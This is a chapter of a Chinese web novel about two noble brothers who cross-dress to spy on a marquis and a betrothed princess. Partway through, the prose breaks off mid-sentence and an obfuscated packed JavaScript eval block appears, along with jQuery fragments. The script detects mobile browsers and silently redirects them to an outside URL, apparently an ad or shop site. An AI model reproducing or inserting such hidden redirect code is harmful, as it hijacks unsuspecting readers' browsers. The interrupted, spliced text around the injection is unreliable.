3. 湖心亭
作品:《妖孽侯爷训狗指南》 两人奇怪的姿势,引起了仆从的注意。
呼喊声把魏珩吓了一跳,摔了个屁股蹲儿,坐在地上没反应过来,脑袋里还想着摔下来之前和仙子对视的一眼。
魏君泽赶忙起身拉起魏珩就跑,又回头急促说道:“这样不行,二哥你往这边跑,我去那边,跑不出去就先找地方躲起来!”
魏珩从小体弱,无法随父兄上阵杀敌,学问倒是很不错,在朝廷做了个文臣。
“郡主,这女婢刚刚爬墙头被我们发现,可疑得很!怎么处置!”,两人刚分开没多久,魏珩就被仆从抓住了。
另一边,魏君泽躲到一处假山缝中,稍稍松开腰带,喘着粗气嘟囔道:“这女子衣裙……实……实在磨人,勒的小爷差点一……一口气没缓过来。”
正叉腰顺着气,忽的耳边听到一阵笛声。
不知是什么曲子,笛音婉转并不激昂,如丝如缕,却让听者莫名感到一阵哀伤凄切,魏君泽寻着笛声传来的方向走去,不知为何想瞧瞧是谁在那。
湖心亭中有一青年,身量修长,着一件月白色绣青竹纹样的长袍,肤色白皙,容美至极,眉眼盼若桃花却莫名带着几分疏离,黑发如墨,亮如锦,真真是个美男子。
这可不就巧了嘛,这美男子不就是自己想见的萧瑾舟。
魏君泽刚想上前,低头看了看自己的一身装束,挠了挠头,纠结嘟囔道:“嗐,要不然还是下次吧。”
“诶,在那!我看到她了,娘的,这婢子太能跑了,快追!”,仆从说着从后面追了上来。
退路被堵,魏君泽四下看了看,只能硬着头皮跑到湖心亭中。
萧瑾舟被突如其来的大个“姑娘”吓了一跳,拿起笛子横在两人之间,冷盯着魏君泽,沉声问道:“你是什么人?”
魏君泽向前伸手拦腰抱住萧瑾舟,两人一起摔倒在湖心亭的美人靠上。
他把萧瑾舟压靠在自己身下,用手捂住他的嘴,眼睛紧盯着亭子外仆从的动向,随后低声在萧瑾舟耳边说道:“抱歉,我并无恶意,你先别出声,一会向你解释。”明显是个男子的声音。
湖心亭四周都挂了藕色薄纱,随着湖面清风飘动。
萧瑾舟往魏君泽注视的方向瞟了一眼,复又回眸紧盯着,细细打量着眼前人,脸上脂粉早已被汗珠溶掉,肤如暖玉,骨相极佳,女子装束掩不去他的俊朗,下颚棱角凌厉分明,分明是个容仪俊爽的少年郎。
潮湿的水汽随着萧瑾舟的呼吸凝在魏君泽的掌心,湿湿的,热热的,两人靠的极近,魏君泽还能闻到萧瑾舟身上有股浅淡清冽的海棠香。
“这里没人,这婢子会遁地不成,去别的地方找找吧,走!”仆从的声音慢慢变远,魏君泽终于松了口气。
萧瑾舟见势,一把将其推开,视线从上往下扫视了魏君泽一番,说道:“现在可以解释一下了吗?这位……‘姑娘’?”
魏君泽稳了稳身,握拳捂嘴有些尴尬的咳了咳回道:“在下……魏君泽,多谢萧侯爷搭救。”
“魏君泽……征远大将军的幺子。”萧瑾舟面上没什么起伏,眼里带着审视,右手摩挲着玉笛。
好像面对萧瑾舟时总会慢半拍,魏君泽才意识到自己现在这副模样似乎没什么说服力。
他抬手摸了摸后脑勺,有些窘迫说道:“今日事出有因,做了些乔装,但并非是行什么害人之事,也并……并非是有什么特殊癖好。”
萧瑾舟垂眼似是不在意,用玉笛敲打着掌心,转过身继续望着湖面风景,语气带着些冷漠说道:“既如此,魏小公子就快回去吧。”
魏君泽摩挲了下手指,水汽已经干了,但似乎还能感受到当时掌下柔软的触感。
他抱拳对萧瑾舟说:“萧侯爷若是不嫌弃,我想改日请萧侯爷到东街的听雨楼一聚。”
萧瑾舟闻言又转身看向魏君泽。
魏君泽嘴角微扬,说道:“本来听到萧侯爷回玉京时就打算择日上门递帖子,谁曾想今日正好碰上了,就当面向侯爷邀约了。”
桃花眼中微闪过一丝讶异,萧瑾舟指尖轻点着笛子,垂眸思忖片刻后,薄唇轻勾着回道:“萧某还不知原来自己刚回玉京就如此出名,既然是魏小公子当面邀请,那在下就却之不恭了。”
魏君泽回到府中,一路走一路脱衣服,把来找他的魏廉吓得不行。
“你……你这姑娘怎么回事!有辱四问啊!有辱四问!”,魏廉一只手捂着眼,另一只手向前伸着和魏君泽保持距离。
魏君泽伸手拍了魏廉脑袋一掌,说道:“把你这双招子睁开,好好看看,是你爷我!”
又拎起魏廉的耳朵说:“什么四问?那是有辱斯文!不是让你跟着魏清好好读书的吗?回去把这四个字抄一百遍。”
魏廉捂着耳朵叫疼,委屈的扁扁嘴,拉拢着脸嘟囔道:“主子,读书太难了,还不如去练剑呢。”
魏君泽换着衣服,头也没抬又说:“两百遍。”
魏廉睁大眼睛,紧张的摆着手说:“好好好,我抄我抄,一百遍一百遍!”
魏君泽整理好衣服坐在桌前倒了杯茶。
魏廉从怀里掏出了一张信笺递给了他,说道:“主子,这是你之前让我去查的萧氏旧案,很是奇怪,说来也就三年,但当年的许多卷宗都已经没了,只剩下当时查抄时,锦衣卫做的笔录,也不能看出些啥。”
魏廉想了想,又低声和魏君泽说:“不过,据说当时被安排去萧府抄家的原该是咱们老将军,可后来不知怎么变成了樊统领。”
“老爹?”魏君泽翻纸的手一顿,抬头看了魏廉一眼。
又像是回忆起什么说道:“是了,我记得三年前不知是哪一天,老头回来发了好大的火,在那骂姓樊的,怕就是因着这事儿吧。”
“嗐……反正老头过段时间就回来了,到时候当面问问他吧。”他叹了口气将信纸烧了,转头对魏廉说:“继续留意,让魏清也和你一起,有情况就来和我说。”
魏君泽捏了捏后脖颈,张开双臂伸了个懒腰,活动到一半心里总觉得不太对劲,好像忘了些什么。
“啊!二哥!”
魏君泽眼睛猛地睁大,抬手给自己脑袋来了一下。
魏君泽赶忙起身,想回樊府接回魏珩,刚走到府门口,就看到门前停了一辆马车。
马车里的正是魏珩,他生疏的拎起裙摆,跳下马车,转身拱手对马车旁的姑娘说道:“多谢疏雨姑娘相送,劳烦姑娘回去同郡主致谢,在下下回再递帖子正式拜访。”
叫疏雨的姑娘看着魏珩这模样,偷偷抬起袖子遮着嘴笑了一声,说:“咳,魏二公子放心,奴婢定会好生传达给郡主,公子快回府休整吧,奴婢告退。”
魏珩转身往府里走,魏君泽见状忙跟了上去,说:“二哥,怎么是郡主派人送你回来的,你被抓住了?他们没打你吧?”
魏珩有些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487227|202080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心不在焉但脸色看着却是不错。
“哥?哥!,二哥!”,魏君泽又凑到魏珩的耳边问了一遍。
魏珩晃了晃神,把思绪收回来,正了神色说:“咳嗯,我被仆从押到了郡主面前,但好在郡主通情达理,我与她郑重的道了歉,此事便过了。”
魏珩拍了拍魏君泽的肩膀让他留步,笑着说:“已经无事了,我先回去换洗,晚些一同用膳吧,母亲今早说了她做了好些你爱吃的菜。”
魏珩换好衣服,走到窗前给兰花浇水,兰花清雅不俗,香芬远弥馥,看似清浅却最是动人。
“郡主让你抬起头来,你没听见!”仆从推搡着魏珩,想让他把头抬起来。
“你们先退后吧,我来与她说吧。”瑶兰郡主抬手示意仆从住手,她脚步轻缓,不疾不徐。
魏珩低垂着头,从他的角度只能看到视野里出现了一双杏黄色的绣鞋,鞋面绣了兰花纹样,鞋头各缀了一颗东珠。
瑶兰郡主缓步绕着魏珩走了一圈,边走边上下打量,最后在魏珩面前站定,向前歪头凑到魏珩面前盯着他,说了两句话。
“你长得真好看。”这是第一句话。
“你是男子吧。”这是第二句话。
魏珩的脸色也是白了红,红了白,红是因为郡主此时突然的凑近,白是因为不知如何化解此时的困境。
纠结片刻后,魏珩提着口气,抬手作揖道:“请郡主恕罪,在下……在下……是魏家二郎,魏珩。”说完也不放下手,似是等着瑶兰郡主发落。
没有臆想中的斥责怒骂,瑶兰以袖掩唇咯咯笑了起来,如果说初见时是清雅如仙人,那现在就是仙人入了凡尘,多了些烟火气,瑶兰眉眼弯弯,眸中似有盈盈春水,让魏珩心跳漏了半拍。
瑶兰笑完轻咳了一声,装作不解问道:“魏二公子,以这装扮来郡主府,是想来看看我这聘妻的?若是不喜,是准备退了亲事?”
“是……不不……不是。”魏珩不知怎么回答,好像怎么答都不对,急得手忙脚乱。
还未赐婚之时,瑶兰便知魏珩此人,虽出生武将世家但却是玉京有名的才子,芝兰玉树,是无数世家贵女的春闺梦里人,谁能想到皎皎君子还有这般局促的模样。
看着差不多了瑶兰便没再为难他,邀他在庭院中坐下,沏了杯用兰花窨制的蒙顶甘露,花香隐于茶香,鲜爽甘润,喉韵悠长。
魏珩放下茶杯,侧身对瑶兰说道:“今日是在下失礼,冒犯了郡主,但还请郡主相信在下并无其他不轨之心,之后定会过来赔礼谢罪。”
魏珩女装虽也是美貌但配上他一本正经的样子着实是令人发笑,瑶兰忍着笑对他说:“无事,你我虽已定亲,但毕竟从未见过,二公子好奇也是人之常情。”
又故意压了压声音说:“只是不知,二公子可还满意于我?”一双美眸一瞬不瞬的望着魏珩。
魏珩不敢看她,耳尖微红,垂着头柔声说:“郡主清雅贵重,气质出尘又心细如丝,想来该是在下……怕配不上郡主。”
赐婚本就没有愿意不愿意之说,但如今见到魏珩,瑶兰觉得自己还是挺幸运的,她托着腮看着魏珩浅笑说:“可我倒是挺满意的。”
……
“二公子,老夫人叫您去用晚膳了,说您再不去,饭菜都要被小公子吃完了。”小厮在外敲门说道。
思绪回神,魏珩唇角微勾,用手指轻点了一下兰花,应了知道。

